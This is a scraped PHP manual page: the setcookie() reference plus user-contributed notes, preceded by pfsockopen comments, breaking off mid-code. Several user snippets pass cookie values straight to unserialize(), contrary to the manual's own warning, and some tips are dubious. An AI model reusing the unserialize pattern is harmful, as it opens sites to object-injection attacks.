I just make the script execute the following:

<?php

$st = pfsockopen($_SERVER['HTTP_HOST'], 80, $erstr, $errno, 5);
fwrite($st, "GET {$_SERVER['PHP_SELF']}?$key HTTP/1.0\r\nHost: {$_SERVER['HTTP_HOST']}\r\n\r\n");

?>

Where $key is the QUERY_STRING trigger which starts the spidering process.  This script is executed in the background while the main script is free to finish loading and display a message like: "The database is being reindexed, please wait."

BTW, I set a flag in another MySQL table which prevents searches while the spider is crawling.
pulstar at ig dot com dot br 23-Sep-2003 04:15
Persistent connections either in socket or databases should be used only in servers where the limits are well defined. For example, the number of allowed connections in a database must be greater than the number of Apache's processes, or the connections will be refused by the database (this will surely occur if you use persistent connections). The same may occur with socket connections. This is up to the service configuration. In my opinion, persistent connections are useful only if you have total control over the one or more servers involved, like on a heavy loaded dedicated server for example, where the little gain in performance worth the use of such connections. Never use them in a shared server.
dietrich at ganx4 dot com 08-May-2003 02:08
Re: persisting connections across script executions

SAPI modules allow this (i've only tried w/ ISAPI, but others might also allow).

also, Shane Caraveo's FastCGI allows this.
php dot net at domainofdarkness dot com 29-Jan-2001 03:26
OK, WRT to the p* functions opening a new connection when one already exists. It is my understanting that (under Apache anyways) this is on a per-process basis. If you do a 'ps auxw|grep httpd' on your server you will see more than one process. What p* does is make a p-connection on one of those processes only, the one that actually handles your request. Chances are that when you hit the page again it will be answered by a different process. I'm guessing if you keep hitting reload you'll get around to the original process again and there will be no error message or second connection open. Anyhow, this is true of all p* functions; they open not one connection per server, but one connection per server _process_.
openlog
setcookie
Network Functions


Send a cookie

pfsockopen
setrawcookie
Network Functions
PHP Manual

setcookie

(PHP 4, PHP 5)

setcookie — Send a cookie

Description

bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

setcookie() defines a cookie to be sent along with the rest of the HTTP headers. Like other headers, cookies must be sent before any output from your script (this is a protocol restriction). This requires that you place calls to this function prior to any output, including <html> and <head> tags as well as any whitespace.

Once the cookies have been set, they can be accessed on the next page load with the $_COOKIE or $HTTP_COOKIE_VARS arrays. Note, superglobals such as $_COOKIE became available in PHP 4.1.0. Cookie values also exist in $_REQUEST.

Parameters

All the arguments except the name argument are optional. You may also replace an argument with an empty string ("") in order to skip that argument. Because the expire argument is integer, it cannot be skipped with an empty string, use a zero (0) instead.

» RFC 6265 provides the normative reference on how each setcookie() parameter is interpreted.

name

The name of the cookie.

value

The value of the cookie. This value is stored on the clients computer; do not store sensitive information. Assuming the name is 'cookiename', this value is retrieved through $_COOKIE['cookiename']

expire

The time the cookie expires. This is a Unix timestamp so is in number of seconds since the epoch. In other words, you'll most likely set this with the time() function plus the number of seconds before you want it to expire. Or you might use mktime(). time()+60*60*24*30 will set the cookie to expire in 30 days. If set to 0, or omitted, the cookie will expire at the end of the session (when the browser closes).

Note:

You may notice the expire parameter takes on a Unix timestamp, as opposed to the date format Wdy, DD-Mon-YYYY HH:MM:SS GMT, this is because PHP does this conversion internally.

path

The path on the server in which the cookie will be available on. If set to '/', the cookie will be available within the entire domain. If set to '/foo/', the cookie will only be available within the /foo/ directory and all sub-directories such as /foo/bar/ of domain. The default value is the current directory that the cookie is being set in.

domain

The domain that the cookie is available to. Setting the domain to 'www.example.com' will make the cookie available in the www subdomain and higher subdomains. Cookies available to a lower domain, such as 'example.com' will be available to higher subdomains, such as 'www.example.com'. Older browsers still implementing the deprecated » RFC 2109 may require a leading . to match all subdomains.

secure

Indicates that the cookie should only be transmitted over a secure HTTPS connection from the client. When set to TRUE, the cookie will only be set if a secure connection exists. On the server-side, it's on the programmer to send this kind of cookie only on secure connection (e.g. with respect to $_SERVER["HTTPS"]).

httponly

When TRUE the cookie will be made accessible only through the HTTP protocol. This means that the cookie won't be accessible by scripting languages, such as JavaScript. It has been suggested that this setting can effectively help to reduce identity theft through XSS attacks (although it is not supported by all browsers), but that claim is often disputed. Added in PHP 5.2.0. TRUE or FALSE

Return Values

If output exists prior to calling this function, setcookie() will fail and return FALSE. If setcookie() successfully runs, it will return TRUE. This does not indicate whether the user accepted the cookie.

Examples

Some examples follow how to send cookies:

Example #1 setcookie() send example

<?php
$value = 'something from somewhere';

setcookie("TestCookie", $value);
setcookie("TestCookie", $value, time()+3600);  /* expire in 1 hour */
setcookie("TestCookie", $value, time()+3600, "/~rasmus/", "example.com", 1);
?>

Note that the value portion of the cookie will automatically be urlencoded when you send the cookie, and when it is received, it is automatically decoded and assigned to a variable by the same name as the cookie name. If you don't want this, you can use setrawcookie() instead if you are using PHP 5. To see the contents of our test cookie in a script, simply use one of the following examples:

<?php
// Print an individual cookie
echo $_COOKIE["TestCookie"];
echo $HTTP_COOKIE_VARS["TestCookie"];

// Another way to debug/test is to view all cookies
print_r($_COOKIE);
?>

Example #2 setcookie() delete example

When deleting a cookie you should assure that the expiration date is in the past, to trigger the removal mechanism in your browser. Examples follow how to delete cookies sent in previous example:

<?php
// set the expiration date to one hour ago
setcookie ("TestCookie", "", time() - 3600);
setcookie ("TestCookie", "", time() - 3600, "/~rasmus/", "example.com", 1);
?>

Example #3 setcookie() and arrays

You may also set array cookies by using array notation in the cookie name. This has the effect of setting as many cookies as you have array elements, but when the cookie is received by your script, the values are all placed in an array with the cookie's name:

<?php
// set the cookies
setcookie("cookie[three]", "cookiethree");
setcookie("cookie[two]", "cookietwo");
setcookie("cookie[one]", "cookieone");

// after the page reloads, print them out
if (isset($_COOKIE['cookie'])) {
    foreach ($_COOKIE['cookie'] as $name => $value) {
        $name = htmlspecialchars($name);
        $value = htmlspecialchars($value);
        echo "$name : $value <br />\n";
    }
}
?>

The above example will output:

three : cookiethree
two : cookietwo
one : cookieone

Changelog

Version | Description
5.2.0 | The httponly parameter was added.

Notes

Note:

You can use output buffering to send output prior to the call of this function, with the overhead of all of your output to the browser being buffered in the server until you send it. You can do this by calling ob_start() and ob_end_flush() in your script, or setting the output_buffering configuration directive on in your php.ini or server configuration files.

Note:

If the PHP directive register_globals is set to on then cookie values will also be made into variables. In our examples below, $TestCookie will exist. It's recommended to use $_COOKIE.

Common Pitfalls:

  • Cookies will not become visible until the next loading of a page that the cookie should be visible for. To test if a cookie was successfully set, check for the cookie on a next loading page before the cookie expires. Expire time is set via the expire parameter. A nice way to debug the existence of cookies is by simply calling print_r($_COOKIE);.
  • Cookies must be deleted with the same parameters as they were set with. If the value argument is an empty string, or FALSE, and all other arguments match a previous call to setcookie, then the cookie with the specified name will be deleted from the remote client. This is internally achieved by setting value to 'deleted' and expiration time to one year in past.
  • Because setting a cookie with a value of FALSE will try to delete the cookie, you should not use boolean values. Instead, use 0 for FALSE and 1 for TRUE.
  • Cookies names can be set as array names and will be available to your PHP scripts as arrays but separate cookies are stored on the user's system. Consider explode() to set one cookie with multiple names and values. It is not recommended to use serialize() for this purpose, because it can result in security holes.

Multiple calls to setcookie() are performed in the order called.

See Also

  • header() - Send a raw HTTP header
  • setrawcookie() - Send a cookie without urlencoding the cookie value
  • cookies section
  • » RFC 6265
  • » RFC 2109

User Contributed Notes

Anonymous 06-Oct-2011 12:09
Internet Explorer 8 and Internet Explorer 9 (IE8 and IE9) are still not accepting cookies from localhost.

The simplest way around this is adding an entry to your hosts file e.g. 127.0.0.1 www.mytestsite.com

Another pitfall that caught me twice now :
The system time on one of my virtual machines sometimes starts lagging behind (because no time synchronization is set up). When defining the cookie lifetime with time()+3600,
the timestamp will be in the past compared to host machine and IE and Chrome will just ignore the cookie.
So check your server time if for some reason setcookie doesn't seem to work on IE or Chrome...
vanclute at gmail dot com 11-Sep-2011 11:05
I have been tearing my hair out wondering why a cookie would not delete.  Despite countless discussions of reasons this can happen all over the internet, none of them addresses my case.  Here is what was happening:

My cookies have been formed kindof as an array, and the name of the cookie to be deleted is being passed in a variable, so I was using this to attempt to delete the cookie (stripped to the minimum for simplicity of the example):

<?php
    setcookie("$cookiename[id]");
?>

But it simply would not work.  Ultimately what DID work was this:

<?php
    setcookie($cookiename."[id]");
?>

So I had to concatenate the variable to the "element id" and then the cookies deleted without any issue.

I hope this saves someone else from a sleepless night!!

Jonathan
mkmohsinali at gmail dot com 28-Jul-2011 11:01
#cookies.php
/*This code will demonstrate use of cookies with PHP
It is very easy to understand and is better for beginner to
understand and get idea about power of cookies when used
with PHP.Here we give user a form to choose colors he/she
likes for website and when he/she visits site again within one
hour his/her settings are saved and read from cookie
and he/she doesn't have to set the page color and page
text color again.You can change time from 3600
seconds to whatever you deem appropriate in your case.
if you don't understand anything please email me*/

<?php
#checking if form has been submitted
if (isset($_POST['submitted'])){
#if yes (form is submitted) assign values from POST array to variables
$newbgColor=$_POST['bgColor'];
$newtxtColor=$_POST['txtColor'];
#set cookies
setcookie("bgColor",$newbgColor,time()+3600);
setcookie("txtColor",$newtxtColor,time()+3600);

}
#in case user has come for first time and cookies are not set then
if ((!isset($_COOKIE['bgColor']) ) && (!isset($_COOKIE['txtColor']))){
$bgColor = "Black";
$txtColor="White";
}
#if cookies are set then use them
else{
$bgColor = $_COOKIE['bgColor'];
$txtColor = $_COOKIE['txtColor'];
}
?>
<!-- HTML Page-->
<html>
<body bgcolor="<?php echo $bgColor ?>" text="<?php echo $txtColor ?>">
<form action= "<?php echo $_SERVER['PHP_SELF']; ?>" method ="POST">
<p>Body Color:</p>
<select name=bgColor>
<option value ="Red">Red</option>
<option value ="Green" selected>Green</option>
<option value ="Blue">Blue</option>
<option value ="Yellow">Yellow</option>
<option value ="Black">Black</option>
<option value ="Brown">Brown</option>
<option value ="White">White</option>
</select>
<p>Text Color:</p>
<select name=txtColor>
<tion value ="Red">Red</option>
<option value ="Green" selected>Green</option>
<option value ="Blue">Blue</option>
<option value ="Yellow">Yellow</option>
<option value ="Black">Black</option>
<option value ="Brown">Brown</option>
<option value ="White">White</option>
</select>
<input type ="hidden" name="submitted" value="true"></br>
<input type="submit" value="remind">
</form>
</body>
</html>
MrXCol 13-Jul-2011 08:27
If you're having problem with IE not accepting session cookies this could help:

It seems the IE (6, 7, 8 and 9) do not accept the part 'Expire=0' when setting a session cookie. To fix it just don't put any expire at all. The default behavior when the 'Expire' is not set is to set the cookie as a session one.

(Firefox doesn't complains, btw.)
chris at styl dot ee 31-May-2011 08:10
I was searching for a simple example of creating a cookie, storing a random number and updating it on refresh. I couldn't find one so I had to figure it out on my own....

- - - -
One thing to *NOTE* is technically you can't update a cookie, you can only overwrite it with a new one with the same name.

- - - -

This creates a random number, stores it in a cookie, then references it on refresh, checks for duplicates and does necessary correction, then stores it again, rinse and repeat...

<?php
ob_start();
$MaxCount = 4;// set the max of the counter, in my tests "4" = (0,1,2,3) I adjusted below (+1) to get a "real" 4 (0,1,2,3,4) this is in reality 5 keys to humans, you can adjust script to eliminate "0", but my script makes use of the "0"

$random =(rand()%($MaxCount+1));//give me a random number limited by the max, adding "1" because computers start counting at "0"

if(!isset($_COOKIE['random'])){// check if random number cookie is not set
    //echo"not set";
    setcookie('random', $random);//set the cookie for the first time
    }else{
    $lastRandom= $_COOKIE['random']; //hold the last number if it was set before
    if($lastRandom == $random){//some logic to avoid repeats
     if($random < $MaxCount){//if below max, add 1
        $random++;
        //echo "under the max, adding 1, ";
    }elseif($random >= ($MaxCount-1)){// if for some reason the random number is more than max or equal to it -1, and an additional -1 for max count in initial var (so in reality this -1 from intial max var, and -1 from $random which should be the same number)
            $random--;
            //echo "hit the max, subtracting 1, ";
        }else{
        $random++;
        //echo "no case match, adding 1, ";
        }
    //echo "(".$lastRandom.", ".$random. "), they matched initally - was it fixed?";
    }else{
    //echo "(".$lastRandom.", ".$random. "), they DO NOT match";
    setcookie('random', $random);
    }
    //echo"is set: {$_COOKIE['random']}";
}

ob_end_flush();

?>
bocian941 at pawno dot pl 24-Apr-2011 12:51
My 2 functions to use "live cookies":

<?php
    function SetCookieLive($name, $value='', $expire = 0, $path = '', $domain='', $secure=false, $httponly=false)
    {
        $_COOKIE[$name] = $value;
        return setcookie($name, $value, $expire, $path, $domain, $secure, $httponly);
    }

    function RemoveCookieLive($name)
    {
        unset($_COOKIE[$name]);
        return setcookie($name, NULL, -1);
    }
?>
jacobkamphansen at gmail dot com 14-Feb-2011 05:05
I've been pulling my hair for a couple of minutes (read: hours) and finally figured out why setcookie in my case, returned the "headers already sent"-error:

The file in question was orignally saved as ANSI in Notepad and worked flawlessly, but when saved with UTF-8-encoding, it didn't work. So after trying phpDesigner 7, I was able to both save the file in UTF-8 AND remove the BOM (byte-order-mark which is output BEFORE the cookie is set and thereby fails everything).
jdknock (at) gMaIl (dot) com 09-Feb-2011 09:08
IE7 can have trouble with settings cookies that are embedded in an iframe. The problem lies with a W3C standard called Platform for Privacy Preferences or P3P for short.

To overcome, include the header:

header('P3P:CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"');

before setting the cookie.
karamfil dot pc at gmail dot com 29-Sep-2010 05:10
Beware of underscores in the hostname, because IE won't save cookies.
RC 24-Sep-2010 07:50
For those of your banging your head as to why a cookie is not present when Internet Explorer 6 prints, the explanation is quite interesting. After a bit of investigation, a cookie with an expiration time other than 0 fails to be passed from IE6 to the server when printing. A cookie with an expiration time of 0 is sent.

Therefore:

setcookie("TestCookie", $value, time()+3600); //will not be sent from Print / Print Preview in IE6

setcookie("TestCookie", $value, 0); //will be sent from Print / Print Preview in IE6

I'll let everyone figure out who's bright idea it was to not send normal expiring cookies when printing in IE6...
Anonymous 10-Sep-2010 03:20
A period in a cookie name (like user.name) seems to show up in the $_COOKIE array as an underscore (so user_name). This means that for example $_COOKIE["user_name"] must be used to read a cookie that has been set with setcookie("user.name" ...), which is already rather confusing.

Furthermore the variable $_COOKIE["user_name"] will retain the value set by setcookie("user.name" ...) and no amount of calling setcookie("user_name" ...) will alter this value. This is rather trivially fixed by clearing the "user.name" cookie, but it can take a while to realize this since there's only "user_name" in $_COOKIE.

Hope this saves someone some time.
Turion 18-Aug-2010 06:05
For some reason once I set $path = '/', the cookies won't set unless I also specify $domain = ''....

Hope this helps somebody...
matt at jadu dot co dot uk 21-Jul-2010 03:08
If you are having problems with Internet Explorer not setting a cookie but Firefox will set the cookie, ensure that the date on your server is todays date and time and not a date in past!
danjr33 AT [google]mail.com 25-May-2010 04:04
I haven't seen any notes yet on this, so I wanted to give an example of setting a cookie and having the value available BEFORE you reload the page.
First, a disclaimer: this is only a workaround and it does not verify that the cookie was properly saved.

In some cases, it may be important to be able to access a cookie on the same page load. For example for my website I was using $_COOKIE['language'] to store and check the current interface language for the user. When this was changed I needed to use the new value on the SAME page load, and I didn't want to add a conditional statement to the later code.

This function is exactly identical to setcookie() except that it also sets $_COOKIE['cookiename'] to "cookievalue" and that will then be available on the same page load.

<?php
function setcookielive($name, $value='', $expire=0, $path='', $domain='', $secure=false, $httponly=false) {
    //set a cookie as usual, but ALSO add it to $_COOKIE so the current page load has access
    $_COOKIE[$name] = $value;
    return setcookie($name,$value,$expire,$path,$domain,$secure,$httponly);
}
?>
jay at w3prodigy dot com 17-May-2010 12:31
You can also delete cookies by supplying setcookie an empty value.

setcookie("w3p_cookie", "");
jay at w3prodigy dot com 26-Mar-2010 07:38
To avoid the browser delay when working with cookies, you can create your cookie during the initialization process of your web site. If someone visits *any* page of your site, you should create that cookie with a default value after checking for the default value. Later, when you're working with the cookie, set it to what you need it to and it will be available on the next page the user visits.

This helps avoid forcing a browser reload on the client-side. A more refined method of working with cookies is to use my example above and then interact with the cookies using javascript.

To review:

Perform a conditional check to ensure the cookie does not exist and create it with a controlled default value. (You can later check for the default value when adding meaningful data)

<?php
$cookie_name = "mytestcookie";
if( !isset($_COOKIE[$cookie_name]) && empty($_COOKIE[$cookie_name]) )
        setcookie("$cookie_name", 0, 0, "/");
?>

The cookie "mytestcookie" is now accessibly readable and writeable.
nospam at oneillsoftware dot com dot au 17-Mar-2010 02:48
A note on setting cookie expiry times, particularly example #2 in which an attempt is made to delete the cookie by setting the expiry to 1 hour (3600 seconds) in the past.

The function <? time(); ?> returns the current LOCAL time on the server.

Suppose a server is located in New York with a UTC offset of -4. A client connecting from say Australia which has a UTC offset of +10 is 14 hours into the future from the point of view of the server in NY. If the American server attempts to set a session cookie which expires in say 1 hour, this would be interpreted by the client in Australia as a time 13 hours in the past. Naturally, the cookie is deleted on arrival and (depending on the script) the user might never be able to get past the login-correct page.

Now looking at the inverse example:

Suppose a server is located in Australia with a UTC offset of +10. A client connecting from New York with an offset of UTC-4 is 14 hours in the past as viewed from the Australian server.

If the Australian server attempts to clear a cookie as in example #2, like so:
<?
setcookie ("TestCookie", "", time() - 3600);
?>

the client will receive a time that is 13 hours into the FUTURE, and as a result, the cookie will not be cleared.

This is a potential security risk if sensitive (which really shouldn't be there in the first place...) or session data (which should be cleared on the server) is left in the cookie.

A good minimum value for deleting cookies that takes into account all timezones is 25 hours in the past (3600 * 25), rather than 3600.

Of course this would all be a lot easier if every browser was guaranteed to implement cookie expiration in UTC.
Hjalmar W 17-Feb-2010 03:48
When setting a cookie on a page that redirects, the cookie must be set after the call to header('Location: ....');

Such as:

<?php
header('Location: http://www.example.com/');
setcookie('asite', $site, time()+60*60, '/', 'site.com');
?>
dbessoudo at gmail dot com 02-Nov-2009 08:58
setcookie - value = "deleted" on IE

  setcookie(session_name(), '', time()-42000, '/');

When "setcookie" is passed an empty value (ie, ''), it changes the value to the string "deleted" and sets the date to exactly one year and one second in the past, ignoring the expiration parameter.*

So, I'm guessing that if a client machine has its time set to more than a year in the past or if the browser is somehow broken, then a site visitor could potentially send a PHPSESSID with a value of "deleted".  This will cause PHP to create a "sess_deleted" file in the sessions directory.

In my case, I was seeing several incidents per minute, with each user clobbering the other's session data causing all kinds of security and identity issues.  Two changes seemed to have solved the problem:

1) Use session_id() in place of '' in setcookie, as well as pick a date that's far in the past (in this case Jan 1, 1970, 8:00:01AM):

    setcookie(session_name(), session_id(), 1, '/');

2) Use session_regenerate_id() when logging a user in or otherwise changing their authority level.

Hope this helps somebody.

Rob

* Here is the relevant code in head.c:

    if (value && value_len == 0) {
        /*
         * MSIE doesn't delete a cookie when you set it to a null value
         * so in order to force cookies to be deleted, even on MSIE, we
         * pick an expiry date 1 year and 1 second in the past
         */
        time_t t = time(NULL) - 31536001;
        dt = php_format_date("D, d-M-Y H:i:s T", sizeof("D, d-M-Y H:i:s T")-1, t, 0 TSRMLS_CC);
        sprintf(cookie, "Set-Cookie: %s=deleted; expires=%s", name, dt);
Eric 01-Nov-2009 10:57
The server my php code is running on has sessions disabled so I am forced to store a fair bit of arbitrary data in cookies.  Using array names was impractical and problematic, so I implemented a splitting routine.  I do not serialize any class instances, just arrays and simple objects.

In a nutshell, when setting a cookie value, I serialize it, gzcompress it, base64 encode it, break it into pieces and store it as a set of cookies.  To fetch the cookie value I get the named piece then iterate through piece names rebuilding the base64 data, then reverse the rest of the process.  The only other trick is deleting the pieces correctly.

Sessions are better, but if they are not available this is a viable alternative.  I chose gz over bz for compression because it looked faster with only slightly worse ratios.

Here is a simplified version of my implementation.  This is a good starting point but is not suitable for most uses.  For example, the domain and path are hard coded and no return values are checked for validity.

<?php
define( 'COOKIE_PORTIONS' , '_piece_' );

function clearpieces( $inKey , $inFirst ) {
    $expire = time()-3600;

    for ( $index = $inFirst ; array_key_exists( $inKey.COOKIE_PORTIONS.$index , $_COOKIE ) ; $index += 1 ) {
        setcookie( $inKey.COOKIE_PORTIONS.$index , '' , $expire , '/' , '' , 0 );
        unset( $_COOKIE[$inKey.COOKIE_PORTIONS.$index] );
    }
}

function clearcookie( $inKey ) {
    clearpieces( $inKey , 1 );
    setcookie( $inKey , '' , time()-3600 , '/' , '' , 0 );
    unset( $_COOKIE[$inKey] );
}

function storecookie( $inKey , $inValue , $inExpire ) {
    $decode = serialize( $inValue );
    $decode = gzcompress( $decode );
    $decode = base64_encode( $decode );

    $split = str_split( $decode , 4000 );//4k pieces
    $count = count( $split );

    for ( $index = 0 ; $index < $count ; $index += 1 ) {
        $result = setcookie( ( $index > 0 ) ? $inKey.COOKIE_PORTIONS.$index : $inKey , $split[$index] , $inExpire , '/' , '' , 0 );
    }

    clearpieces( $inKey , $count );
}

function fetchcookie( $inKey ) {
    $decode = $_COOKIE[$inKey];

    for ( $index = 1 ; array_key_exists( $inKey.COOKIE_PORTIONS.$index , $_COOKIE ) ; $index += 1 ) {
        $decode .= $_COOKIE[$inKey.COOKIE_PORTIONS.$index];
    }

    $decode = base64_decode( $decode );
    $decode = gzuncompress( $decode );

    return unserialize( $decode );
}
?>
Anonymous 12-Oct-2009 11:31
After 2 hours of head scratching, I finally came across a PHP bug filed in 2002 about sending multiple Set-Cookie headers.
This may be a no-brainer to some, but make sure you set the 2nd param of header() to false if you wish to send multiple Set-Cookie headers to the browser, otherwise only the last Set-Cookie header will exist.
bluebike 10-Oct-2009 01:09
If you want your cookie to persist indefinitely, use pow(2,31)-1 as the expires value. That seems to be the largest value that is accepted.
LexyFivethousandTwothousandTwo at yahoo dot com 23-Sep-2009 05:42
If your isset($_COOKIE['cookieName']) call fails even though
the setcookie("cookieName", $cookieValue, time(),..)  returned
success, try replacing the timeout value with "0".  I just spent
an entire day on this strange problem.  I am using IE8. This
same call worked OK in the past with a timeout value of
time() + 360.  Anyway, changing it to "0" fixed the problem.

--Alex.
jah 20-Sep-2009 02:29
As <info at daniel-marschall dot de> points out, firefox will prepend a period (full-stop) to the domain value if the period is not already present.
This is because firefox expects the domain parameter value, if present, to be a domain name and not a host name.

So using setcookie() with a domain value of www.example.com is not correct if www is a host name.
If you want to restrict the cookie to a single host, supply the domain parameter as an empty string, for example (note the rightmost parameter):

<?php
setcookie("TestCookie", "SomeValue", time()+3600, "/~rasmus/", "");
?>
info at daniel-marschall dot de 10-Aug-2009 07:16
Be careful when setting a domain value. The browsers have curious results (I tested with FireFox 3 only!).

If session.cookie_domain is "", then your browser will probably make the cookie only available for your domain "www.example.com". That's secure since subdomains probably cannot access the cookie.

If the session.cookie_domain has a value, for example "www.example.com", all browsers which are according to the RFC, will add a "." prefix to the domain. So "www.example.com" will be converted to ".www.example.com" by the browser. Now the cookie is not as secure as the cookie above since it is also accessable at subdomains.

Strange...
doricee at yahoo dot com 15-Jun-2009 09:15
When checking for whitespace make sure to check for a byte order mark.  Many text editors hide this char and it will cause errors with setcookie.

<?php setcookie("test", "cookietest");?>

<U+FEFF><?php setcookie("test", "cookietest");?>

http://en.wikipedia.org/wiki/Byte-order_mark
jesdisciple{ at t}gmail{d dot t}com 13-Jun-2009 05:41
For those who are writing their own replacement functions to comply with RFC 2109 / 2965 (and the PHP maintainers), note that your Max-Age value should technically be ignored, or at best treated as an ordinary value, unless you set Version=1.
laffen 27-May-2009 01:49
Note that the $_COOKIE variable not will hold multiple cookies with the same name. It is legitimate to set two cookies with the same name to the same host where the sub domain is different.
<?php
setcookie("testcookie", "value1hostonly", time(), "/", ".example.com", 0, true);
setcookie("testcookie", "value2subdom", time(), "/", "subdom.example.com", 0, true);
?>
The next request from the browser will have both cookies in the $_SERVER['HTTP_COOKIE'] variable, but only one of them will be found in the $_COOKIE variable. Requests to subdom.example.com will have both cookies, while browser request to example.com or www.example.com only sends the cookie with the "value1hostonly" value.

<?php
$kaker = explode(";", $_SERVER['HTTP_COOKIE']);
foreach($kaker as $val){
    $k = explode("=", $val);
    echo trim($k[0]) . " => " . $k[1];
}

// output
testcookie => value1hostonly
testcookie => value2subdom

?>
Arthur Lui 23-May-2009 11:52
Also note that you should specify the path as '/' if you want the cookie to apply to the entire site, especially if the location of the file where you create the cookies isn't at the root.

The file that created the cookies was /assets/php/login.php and was creating cookies for the path "/assets/php/" only so it drove me nuts when I went to the homepage and the cookie wasn't accessible from there.
mm at turkmenweb dot com 30-Apr-2009 09:11
Be aware of "Last-Modified" header when dealing with cookies.
If you are explicitly setting Last-Modified to a past time (a few hours, mins ago, or etc) then even though browser will update your cookie, it won't reflect on your page (if you say <?=$_COOKIE['yourcookie']?> , browser will still print old value). I have seen this in Firefox 3, and in IE8.

Here is the code:

<?php

if(isset($_GET['hide']) && $_GET['hide']=='y'){
setcookie("TmhabarMainNewsHide", 'y', time()+3600*24*1000,"/",".tmhabar.com",0);
}
elseif(isset($_GET['hide']) && $_GET['hide']=='n'){
setcookie("TmhabarMainNewsHide", 'n' ,time()+3600*24*1000,"/",".tmhabar.com",0);
}

$last_modified = filemtime('inc/somefile.html');
header("Last-Modified: ".gmdate("D, d M Y H:i:s", $last_modified)." GMT");

echo $_COOKIE['TmhabarMainNewsHide'];

?>

Last-Modified header above is being set to a time in the past (last modification time of a certain file). In the browser, after the '/?hide=y' call, output still remains 'n' -> as if cookie value hasn't changed. When you go to Firefox's "View Page Info", there cookie is set to 'y' (which is an expected behavior). Doesn't matter how many times I refreshed the page, or followed other inner links of the page, cookie value never changed. It only changes if you CTRL+F5 in the browser.

I guess this is an expected behavior of a browser, not to update the page if it's last-modified header is set to back in time. But on the other hand, dynamic values should change in page. So, just be aware :) Btw, everything worked perfectly once I have commented out the 'header("Last-Modified: "....' line in the code above.

Hope this helps someone. Peace.
Muhammed Mamedov
Steve 17-Apr-2009 01:04
Beware, the example below works fine on my testing server but didn't work on my providers server;

<?php
setcookie("SessionID","a test cookie");
?>

Once the cookie is set my entire web site fails with messages
similar to.

 "An appropriate representation of the requested resource could not be found on this server."

I'd used similar code for years on another site, but where the value was numeric, I'd made a minor change to generate a random string for the session ID and then got this issue.

The solution is not to use the cookie name "SessionID", i.e.

<?php
setcookie("SessionToken","a test cookie");
?>

works fine.
dan at reverb-marketing dot com 05-Apr-2009 11:49
Consider adding a version number to your cookie string.  That way if your site gets an upgrade and the contents of your cookie change then it won't create (as big of) a headache for old users.

<?php
$foo=unserialize($_COOKIE['remember_me']);
if($foo['version']==1) {
  // original cookie.  Ignore it?  Process it differently?
  old_and_busted($foo['data']);
} else if($foo['version']==2) {
  // new cookie, proceed as normal
  new_hotness($foo['data']);
}
?>
maksymus007 at gmail dot com 13-Feb-2009 06:47
To resolve problem of time difference between time on server and on client, just set a cookie with maximum lifetime and as one of its fields set local server time, that will be compared while cookie is read.
paul at webtop-designs dot com 10-Feb-2009 11:14
If you are trying to send cookies and keep getting a message about headers already sent but you cannot find where, check your files...a single space after the closing ?> in php is classed as output and will cause this issue.

Zend Framework users will note the new technique and not closing your files at all...that is to combat this same problem.

Make sure that ?> are the very last 2 characters of your file.

//erlin
erikinc at bredband dot net 08-Feb-2009 01:03
When working with encryption and setcookie( ) the decryption might fail in an seemingly random manner, making the cookie seem corrupt. This is due to the fact that php url-encodes the data before sending it to the client, and may therefore effectively be changing the ciphertext. A decryption of a changed ciphertext will render the plaintext unreadable. Due to the fact that this error only occurs when the ciphertext acctually contains characters needing encoding can make it very hard to identify.

One way to solve this problem, is to implement the url-encoding in the script, by using urlencode( ) and urldecode( ).
Prior to setting the cookie, use urlencode( ):
<?php

$ciphertext = $myEncryptionObject->encrypt( $plaintext );
$safeCiphertext = urlencode( $ciphertext );
setcookie( "myCookie", $safeCiphertext, 0, "", "", false, true);

?>

And then using urldecode( ) prior to decryption of the ciphertext:
<?php

$safeData = $_COOKIE[ "myCookie" ];
$ciphertext = urldecode( $safeData );
$plaintext = $myEncryptionObject->decrypt( $ciphertext );

?>
Frank 08-Dec-2008 07:22
One note on storing information in an "array" in a cookie:

You CANNOT access that array as a normal array.

So for example if you store:

<?php
setcookie("cookie[three]", "cookiethree");
setcookie("cookie[two]", "cookietwo");
setcookie("cookie[one]", "cookieone");

$_COOKIE[cookie][one] returns nothing.
?>

You MUST use foreach to grab all the information listed in the example above.

Not sure if this is a bug in php or a "feature."

Hopefully, this can save others some time.
bogdan at moongate dot ro 11-Sep-2008 02:58
Beware of the Cookie Monster (http://preview.tinyurl.com/5964ho) -- always set $secure to true for cookies set within secure environments (i.e. when your code is being accessed via HTTPS).

Also be advised that PHP's session manager doesn't do that automatically -- by default starting a session within a secure environment sets a cookie which is then accessible via non-secure channels. For sessions started in secure environments use:

<?php INI_Set('session.cookie_secure',true); ?>

before starting the session.
Link dot random at gmail dot com 03-Sep-2008 02:49
Platform: Windows XP SP2, IIS5.2, Php5.2.5:

I've had my share of sessioning problems and all of them came from the fact that i'm using Php Designer 2007 as my php editor.. Cookies must be sent before any output from your script including <html> and <head> tags as well as any whitespaces, well this php editor was sending a sort of data before the headers that i want to send which cause to have the given error: "Cannot send session Cookie - headers already sent", even after using output buffers to fixe the problem of the time the cookies are sent i still had the same problem.
Solution? Don't use any editor..! notepad is all you need... Used notepad, and it worked like magic!
php at gigadepot dot com 27-Jul-2008 10:17
If you use a multiple cookie name with the function bellow

example :

createcookie("member[name]","jack");

don't work with array

error with "rawurlencode($name)"

I'm use : createcookie(array('member'=>'name'),'jack');

<?php
createCookie($name, $value='', $maxage=0, $path='',$domain='', $secure=false, $HTTPOnly=false)
    {
        if(is_array($name))
        {
            list($k,$v)    =    each($name);

                $name    =    $k.'['.$v.']';

        }
        $ob = ini_get('output_buffering');
        // Abort the method if headers have already been sent, except when output buffering has been enabled
        if ( headers_sent() && (bool) $ob === false || strtolower($ob) == 'off' )
            return false;
        if ( !empty($domain) )
        {
            // Fix the domain to accept domains with and without 'www.'.
            if ( strtolower( substr($domain, 0, 4) ) == 'www.' ) $domain = substr($domain, 4);
            // Add the dot prefix to ensure compatibility with subdomains
            if ( substr($domain, 0, 1) != '.' ) $domain = '.'.$domain;
            // Remove port information.
            $port = strpos($domain, ':');
            if ( $port !== false ) $domain = substr($domain, 0, $port);
        }
        // Prevent "headers already sent" error with utf8 support (BOM)
        //if ( utf8_support ) header('Content-Type: text/html; charset=utf-8');
        if(is_array($name))
        {
            header('Set-Cookie: '.$name.'='.rawurlencode($value)
                                    .(empty($domain) ? '' : '; Domain='.$domain)
